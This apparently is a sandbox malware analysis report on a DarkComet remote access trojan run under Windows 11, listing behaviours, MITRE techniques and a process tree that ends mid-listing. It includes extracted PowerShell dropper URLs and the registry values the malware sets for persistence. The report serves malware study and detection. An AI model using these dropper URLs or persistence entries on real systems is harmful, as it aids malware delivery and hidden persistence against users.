darkcomet | hxxp://bing[.]com

Resubmissions

05/08/2024, 02:59

240805-dgqgmavenp 10

05/08/2024, 02:53

05/08/2024, 02:51

05/08/2024, 02:48

05/08/2024, 02:44

05/08/2024, 02:40

Analysis

max time kernel
960s
max time network
964s
platform
windows11-21h2_x64
resource
win11-20240802-en
resource tags

arch:x64arch:x86image:win11-20240802-enlocale:en-usos:windows11-21h2-x64system
submitted
05/08/2024, 02:59

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

http://bing.com

Score

10^/10

darkcomet discovery evasion persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://blockchainjoblist.com/wp-admin/014080/

exe.dropper

https://womenempowermentpakistan.com/wp-admin/paba5q52/

exe.dropper

https://atnimanvilla.com/wp-content/073735/

exe.dropper

https://yeuquynhnhai.com/upload/41830/

exe.dropper

https://deepikarai.com/js/4bzs6/

Signatures

Darkcomet
DarkComet is a remote access trojan (RAT) developed by Jean-Pierre Lesueur.
trojan rat darkcomet

Modifies WinLogon for persistence 2 TTPs 3 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe"	Blackkomet.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe"	winupdate.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserInit = "C:\\Windows\\system32\\userinit.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe,C:\\Windows\\system32\\Windupdt\\winupdate.exe"	winupdate.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1528	2900	powershell.exe	114

Blocklisted process makes network request 4 IoCs

flow	pid	Process
66	1528	powershell.exe
68	1528	powershell.exe
71	1528	powershell.exe
74	1528	powershell.exe

Sets file to hidden 1 TTPs 6 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
2924	attrib.exe
336	attrib.exe
996	attrib.exe
3484	attrib.exe
1512	attrib.exe
1780	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
3948	winupdate.exe
2844	winupdate.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000\Software\Microsoft\Windows\CurrentVersion\Run\winupdater = "C:\\Windows\\system32\\Windupdt\\winupdate.exe"	Blackkomet.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000\Software\Microsoft\Windows\CurrentVersion\Run\winupdater = "C:\\Windows\\system32\\Windupdt\\winupdate.exe"	winupdate.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000\Software\Microsoft\Windows\CurrentVersion\Run\winupdater = "C:\\Windows\\system32\\Windupdt\\winupdate.exe"	winupdate.exe

Drops file in System32 directory 14 IoCs

description	ioc	Process
File created	C:\Windows\SysWOW64\Windupdt\winupdate.exe:Zone.Identifier:$DATA	Blackkomet.exe
File created	C:\Windows\SysWOW64\Windupdt\winupdate.exe	winupdate.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\	winupdate.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\winupdate.exe	winupdate.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt	attrib.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\	Blackkomet.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\winupdate.exe	winupdate.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt	attrib.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\	winupdate.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\winupdate.exe	attrib.exe
File created	C:\Windows\SysWOW64\Windupdt\winupdate.exe	Blackkomet.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\winupdate.exe	Blackkomet.exe
File opened for modification	C:\Windows\SysWOW64\Windupdt\winupdate.exe	attrib.exe
File created	C:\Windows\SysWOW64\Windupdt\winupdate.exe	winupdate.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2060	4404	WerFault.exe	106

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Blackkomet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DanaBot.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winupdate.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WinNuke.98.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-3007475212-2160282277-2943627620-1000\{6CEC9CF6-195E-428A-A579-802356C4A030}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-3007475212-2160282277-2943627620-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	Blackkomet.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	winupdate.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	winupdate.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\The-MALWARE-Repo-master.zip:Zone.Identifier	msedge.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3324	msedge.exe
3324	msedge.exe
3928	msedge.exe
3928	msedge.exe
3448	msedge.exe
3448	msedge.exe
4672	identity_helper.exe
4672	identity_helper.exe
4916	msedge.exe
4916	msedge.exe
3188	msedge.exe
3188	msedge.exe
3188	msedge.exe
3188	msedge.exe
5004	msedge.exe
5004	msedge.exe
1528	powershell.exe
1528	powershell.exe
1528	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 12 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1528	powershell.exe
Token: SeIncreaseQuotaPrivilege	4452	Blackkomet.exe
Token: SeSecurityPrivilege	4452	Blackkomet.exe
Token: SeTakeOwnershipPrivilege	4452	Blackkomet.exe
Token: SeLoadDriverPrivilege	4452	Blackkomet.exe
Token: SeSystemProfilePrivilege	4452	Blackkomet.exe
Token: SeSystemtimePrivilege	4452	Blackkomet.exe
Token: SeProfSingleProcessPrivilege	4452	Blackkomet.exe
Token: SeIncBasePriorityPrivilege	4452	Blackkomet.exe
Token: SeCreatePagefilePrivilege	4452	Blackkomet.exe
Token: SeBackupPrivilege	4452	Blackkomet.exe
Token: SeRestorePrivilege	4452	Blackkomet.exe
Token: SeShutdownPrivilege	4452	Blackkomet.exe
Token: SeDebugPrivilege	4452	Blackkomet.exe
Token: SeSystemEnvironmentPrivilege	4452	Blackkomet.exe
Token: SeChangeNotifyPrivilege	4452	Blackkomet.exe
Token: SeRemoteShutdownPrivilege	4452	Blackkomet.exe
Token: SeUndockPrivilege	4452	Blackkomet.exe
Token: SeManageVolumePrivilege	4452	Blackkomet.exe
Token: SeImpersonatePrivilege	4452	Blackkomet.exe
Token: SeCreateGlobalPrivilege	4452	Blackkomet.exe
Token: 33	4452	Blackkomet.exe
Token: 34	4452	Blackkomet.exe
Token: 35	4452	Blackkomet.exe
Token: 36	4452	Blackkomet.exe
Token: SeIncreaseQuotaPrivilege	3948	winupdate.exe
Token: SeSecurityPrivilege	3948	winupdate.exe
Token: SeTakeOwnershipPrivilege	3948	winupdate.exe
Token: SeLoadDriverPrivilege	3948	winupdate.exe
Token: SeSystemProfilePrivilege	3948	winupdate.exe
Token: SeSystemtimePrivilege	3948	winupdate.exe
Token: SeProfSingleProcessPrivilege	3948	winupdate.exe
Token: SeIncBasePriorityPrivilege	3948	winupdate.exe
Token: SeCreatePagefilePrivilege	3948	winupdate.exe
Token: SeBackupPrivilege	3948	winupdate.exe
Token: SeRestorePrivilege	3948	winupdate.exe
Token: SeShutdownPrivilege	3948	winupdate.exe
Token: SeDebugPrivilege	3948	winupdate.exe
Token: SeSystemEnvironmentPrivilege	3948	winupdate.exe
Token: SeChangeNotifyPrivilege	3948	winupdate.exe
Token: SeRemoteShutdownPrivilege	3948	winupdate.exe
Token: SeUndockPrivilege	3948	winupdate.exe
Token: SeManageVolumePrivilege	3948	winupdate.exe
Token: SeImpersonatePrivilege	3948	winupdate.exe
Token: SeCreateGlobalPrivilege	3948	winupdate.exe
Token: 33	3948	winupdate.exe
Token: 34	3948	winupdate.exe
Token: 35	3948	winupdate.exe
Token: 36	3948	winupdate.exe
Token: SeIncreaseQuotaPrivilege	2844	winupdate.exe
Token: SeSecurityPrivilege	2844	winupdate.exe
Token: SeTakeOwnershipPrivilege	2844	winupdate.exe
Token: SeLoadDriverPrivilege	2844	winupdate.exe
Token: SeSystemProfilePrivilege	2844	winupdate.exe
Token: SeSystemtimePrivilege	2844	winupdate.exe
Token: SeProfSingleProcessPrivilege	2844	winupdate.exe
Token: SeIncBasePriorityPrivilege	2844	winupdate.exe
Token: SeCreatePagefilePrivilege	2844	winupdate.exe
Token: SeBackupPrivilege	2844	winupdate.exe
Token: SeRestorePrivilege	2844	winupdate.exe
Token: SeShutdownPrivilege	2844	winupdate.exe
Token: SeDebugPrivilege	2844	winupdate.exe
Token: SeSystemEnvironmentPrivilege	2844	winupdate.exe
Token: SeChangeNotifyPrivilege	2844	winupdate.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe
3928	msedge.exe

Suspicious use of SetWindowsHookEx 28 IoCs

pid	Process
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
860	WINWORD.EXE
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe
336	OpenWith.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 232	3928	msedge.exe	78
PID 3928 wrote to memory of 232	3928	msedge.exe	78
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3316	3928	msedge.exe	79
PID 3928 wrote to memory of 3324	3928	msedge.exe	80
PID 3928 wrote to memory of 3324	3928	msedge.exe	80
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81
PID 3928 wrote to memory of 2112	3928	msedge.exe	81

Views/modifies file attributes 1 TTPs 6 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
336	attrib.exe
996	attrib.exe
3484	attrib.exe
1512	attrib.exe
1780	attrib.exe
2924	attrib.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://bing.com
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ff8b9b23cb8,0x7ff8b9b23cc8,0x7ff8b9b23cd8
  2⤵
  PID:232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1916 /prefetch:2
  2⤵
  PID:3316
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2360 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2624 /prefetch:8
  2⤵
  PID:2112
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3080 /prefetch:1
  2⤵
  PID:4928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3100 /prefetch:1
  2⤵
  PID:3084
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4552 /prefetch:1
  2⤵
  PID:2040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3984 /prefetch:1
  2⤵
  PID:3356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5040 /prefetch:1
  2⤵
  PID:2092
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5156 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3448
- C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5368 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4672
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4668 /prefetch:8
  2⤵
  PID:2444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=5364 /prefetch:8
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  PID:4916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3124 /prefetch:1
  2⤵
  PID:4948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4524 /prefetch:1
  2⤵
  PID:1888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5740 /prefetch:1
  2⤵
  PID:920
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6048 /prefetch:1
  2⤵
  PID:4416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5104 /prefetch:1
  2⤵
  PID:1436
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1904,4442091772366770641,13918853857007173198,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6544 /prefetch:1
  2⤵
  PID:4896
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
